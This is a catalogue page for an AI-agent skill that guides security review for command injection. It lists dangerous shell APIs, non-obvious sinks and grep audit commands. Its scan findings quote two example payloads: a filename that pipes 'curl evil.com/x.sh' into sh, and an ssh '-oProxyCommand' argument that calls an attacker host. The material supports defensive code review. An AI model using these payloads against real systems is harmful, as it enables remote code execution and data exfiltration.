command-injection-analysis

command-injection-analysis is a skill for Claude Code, Codex from MingyiSecLab/Mingyi-Atlas. It costs 45 tokens per session (1,255 once invoked), scanned B, a copy of command-injection, Apache-2.0.

A security review guide for finding command injection, where user-controlled text is mistakenly interpreted as operating-system commands.

In plain words
What is it for?
Reviewing upload processors, PDF and media tools, script runners, deployment files, and command execution in Python, Node.js, Go, Java, Ruby, and PHP.
Why use it?
It helps reveal unsafe shell calls, path confusion, and similar problems in features that run programs or build command configuration.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Reviewing upload processors, PDF and media tools, script runners, deployment files, and command execution in Python, Node.js, Go, Java, Ruby, and PHP.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/command-injection-analysis
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill command-injection-analysis
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for command-injection-analysis

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/command-injection-analysis/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/command-injection-analysis)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/command-injection-analysis"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/command-injection-analysis/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for command-injection-analysis

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/command-injection-analysis"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/command-injection-analysis.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 45 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,255 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 95% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00045 $0.01255
Opus 5 $0.00023 $0.00628
Sonnet 5 $0.00009 $0.00251
Haiku 4.5 $0.00005 $0.00126

Measured 9d ago against content hash 097cbe853b3f, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade B, and why

command-injection-analysis scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

- **Command substitution in filename** — `$(curl evil.com/x.sh | sh).jpg`

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- **Argument injection** (the -oProxyCommand trick) — passing `-oProxyCommand=curl $(whoami).attacker.com` to ssh-based sinks

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

| Python | `os.system`, `subprocess.Popen(..., shell=True)`, `os.popen`, `commands.getoutput` | `subprocess.run([...], shell=False)` |
Origin

This is a copy

95% identical to command-injection — 5 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/analyst/command-injection-analysis/SKILL.md · 100 lines

How it starts

The opening of the file, as written. The whole thing — 100 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Command Injection Playbook

If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.

1. Sinks

Language Dangerous Safer
Python os.system, subprocess.Popen(..., shell=True), os.popen, commands.getoutput subprocess.run([...], shell=False)
Node child_process.exec, execSync child_process.execFile, spawn (array args)
Go exec.Command("sh","-c",user) exec.Command(bin, arg1, arg2) with array
Java Runtime.exec(String) Runtime.exec(String[]), ProcessBuilder([...])
Ruby backticks, system(str), %x{...} Kernel.system(bin, *args), Open3.capture2e
PHP shell_exec, exec, system, backticks, passthru escapeshellarg + explicit execve

Even the "safer" APIs are exploitable if the binary path is user controlled (exec.Command(userBin, "--version")).

2. Non-obvious sinks

  • Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
  • Docker-compose / k8s manifests where command: is built from user input
  • PDF libraries that shell out to pdflatex, wkhtmltopdf, puppeteer
  • ImageMagickconvert user.jpg out.png where user.jpg is attacker-chosen (classic ImageTragick)
  • ffmpeg -i with user-provided URL/file (SSRF + RCE combo)
  • Git clone with user-supplied URL (remote helper injection)
  • SSH/Rsync wrappers building ssh user@host "cmd" from templates
  • ZIP extractors passing archive path to unzip binary

3. Audit workflow

# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src

# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src

# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src

Read the full file on GitHub · 100 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 100 lines · 45 tokens per session scan B 097cbe853b3f

Subscribe to this mod's changes

command-injection-analysis is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 45 tokens to every session and 1,255 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 3 findings (downloads and executes remote code, makes network calls, runs shell commands). It is 95% identical to command-injection, differing in 5 lines, and is treated as a copy.